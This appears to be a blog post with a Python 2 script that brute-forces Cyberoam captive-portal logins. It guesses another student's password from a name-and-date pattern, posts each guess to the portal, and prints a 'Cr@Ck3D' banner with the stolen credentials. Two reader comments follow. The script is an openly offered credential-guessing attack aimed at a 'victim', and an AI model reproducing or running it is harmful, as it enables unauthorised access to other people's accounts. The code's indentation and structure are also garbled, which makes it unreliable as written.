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Cyberoam Login Brute Force Script

Cyberoam Login

#
#  ('-.               .-') _                         ) (`-.               _  .-')
#  ( OO ).-.          (  OO) )                         ( OO ).            ( \( -O )
#  / . --. / ,--.     /     '._     ,------.,--. ,--. (_/.  \_)-.  .----.  ,------.
#  | \-.  \  |  |.-') |'--...__) ('-| _.---'|  | |  |  \  `.'  /  /  ..  \ |   /`. '
#.-'-'  |  | |  | OO )'--.  .--' (OO|(_\    |  | | .-') \     /\ .  /  \  .|  /  | |
# \| |_.'  | |  |`-' |   |  |    /  |  '--. |  |_|( OO ) \   \ | |  |  '  ||  |_.' |
#  |  .-.  |(|  '---.'   |  |    \_)|  .--' |  | | `-' /.'    \_)'  \  /  '|  .  '.'
#  |  | |  | |      |    |  |      \|  |_) ('  '-'(_.-'/  .'.  \  \  `'  / |  |\  \
#  `--' `--' `------'    `--'       `--'     `-----'  '--'   '--'  `---''  `--' '--'
# Cyberaom brute force Script
# @author Vishal Mishra(aLt fux0r)<vishal_mishra@live.com>
#its only for educational purposes.

import urllib
import time
import datetime




#change this section according to your situation
#Best way - attach username and password dictionary
#this is the range of password to check
checkList = range(1,31)
checkList1=range(1,12)
for j in checkList1:
for i in checkList:
      userid ='80123XXX'      #Roll No of Student
      password= 'SAM'+str("%02d"%i)+str("%02d"%j)
       #lets suppose name of victim is SAMAYA then use above combination to break password ;-)
     



dataToSend = urllib.urlencode({'mode': '191','isAccessDenied': '', 'url': '', 'username': userid, 'password': password, 'saveinfo': '',  })
      postRequest = urllib.urlopen("https://172.31.1.6:8090/httpclient.html", dataToSend)
      responseData = postRequest.read()
     
          print responseData
   
         
       
          openURLToCheck = urllib.urlopen("http://www.google.com")
          checkData = openURLToCheck.read()
          c=checkData.count('Google Search')
          if c > 0:
          f=open('cyberoam.py')
lines=f.readlines()
print lines[1]
print lines[2]
print lines[3]
print lines[4]
print lines[5]
print lines[6]
print lines[7]
print lines[8]
print lines[9]
print lines[10]
print lines[11]
print lines[12]
print lines[13]
print '\t\t******************************************'
print '\t\t******************************************'
print '\t\t******************************************'
                print '\t\t---Cyberaom-------------------------------'
              print '\t\t-----------------Cr@Ck3D!!----------------'
              print '\t\t--------------------------by aLt fux0r----'
              print '\t\t\t' +userid
              print '\t\t\t'+password
              print '\t\t******************************************'
              print '\t\t******************************************'
              print '\t\t******************************************'
              exit(1)
             
    # stop after 10 checks: Stealthy
      if i%50 == 0:
          print 'SCAN COMPLETED UPTO ' + str(i)
          time.sleep(2)

Comments

  1. What if I know the default password and want to know the correct user id?

    ReplyDelete
  2. not working on pc although python installed.

    ReplyDelete

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